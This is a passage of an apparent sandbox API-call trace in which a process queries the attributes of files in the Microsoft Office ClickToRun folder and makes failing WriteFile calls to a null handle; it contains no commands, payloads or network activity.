	[0241.470] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a59305, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a59305, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x726d8)) returned 1
	[0241.470] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.470] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a7f55d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a7f55d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x336d8)) returned 1
	[0241.470] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.470] VirtualAlloc (lpAddress=0xc0004fc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004fc000
	[0241.471] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80aa57b9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80aa57b9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x1566d8)) returned 1
	[0241.471] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x75, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.471] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80af1c6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80af1c6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x8a8d8)) returned 1
	[0241.471] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.471] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80af1c6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80af1c6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x12cad8)) returned 1
	[0241.472] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x67, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.472] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b17ebf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b17ebf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0xe76d8)) returned 1
	[0241.472] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.472] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b17ebf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b17ebf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x13c4d8)) returned 1
	[0241.472] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.472] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b17ebf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b17ebf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9e226c00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x7d0d8)) returned 1
	[0241.486] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.486] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b3e121, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b3e121, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9e226c00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x406d8)) returned 1
	[0241.486] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x67, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.487] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a7f55d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a7f55d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe1b7300, ftLastWriteTime.dwHighDateTime=0x1d0d7a5, nFileSizeHigh=0x0, nFileSizeLow=0x60ea0)) returned 1
	[0241.488] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x6a, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.488] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a7f55d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a7f55d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb5e67000, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x73aa0)) returned 1
	[0241.488] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x6a, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.488] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80aa57b9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80aa57b9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x18d60800, ftLastWriteTime.dwHighDateTime=0x1d0d7a5, nFileSizeHigh=0x0, nFileSizeLow=0x1ae0a8)) returned 1
	[0241.489] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x6e, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.489] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80acba0b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80acba0b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbbdc5100, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x22e0a8)) returned 1
	[0241.489] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x6e, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.489] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b3e121, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b3e121, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x14115400, ftLastWriteTime.dwHighDateTime=0x1d0d7a5, nFileSizeHigh=0x0, nFileSizeLow=0xc84c0)) returned 1
	[0241.492] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.492] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b3e121, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b3e121, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb4b54300, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x127260)) returned 1
	[0241.495] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.496] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8ee04f00, ftLastWriteTime.dwHighDateTime=0x1d0d67f, nFileSizeHigh=0x0, nFileSizeLow=0x1028)) returned 1
	[0241.496] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x6d, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.496] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808dbb6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x808dbb6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb3841600, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0xdc4b8)) returned 1
	[0241.498] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.499] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbe3eab00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x10ae80)) returned 1
	[0241.501] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x6b, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.501] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b8a5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b8a5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xa2e72000, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x578d8)) returned 1
	[0241.508] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.508] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cbb8b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80cbb8b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb7179d00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x5b1068)) returned 1
	[0241.509] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x6a, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.509] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d07d85, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d07d85, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb7179d00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0xf34d8)) returned 1
	[0241.510] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x67, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.510] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d07d85, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d07d85, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbd0d7e00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x2a5e58)) returned 1
	[0241.510] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x6b, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.511] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3f141b52, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x12ae)) returned 1
	[0241.512] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.512] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3fa7ec8f, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x1162)) returned 1
	[0241.512] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.512] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbe3eab00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x101458)) returned 1
	[0241.512] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x67, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.513] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x809e6bf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x809e6bf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x48c0)) returned 1
	[0241.513] VirtualAlloc (lpAddress=0xc0004fe000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004fe000
	[0241.513] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x76, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.513] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x809e6bf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x809e6bf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x48c0)) returned 1
	[0241.514] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x76, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.515] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x52c0)) returned 1
	[0241.515] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x7e, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.515] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0)) returned 1
	[0241.515] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
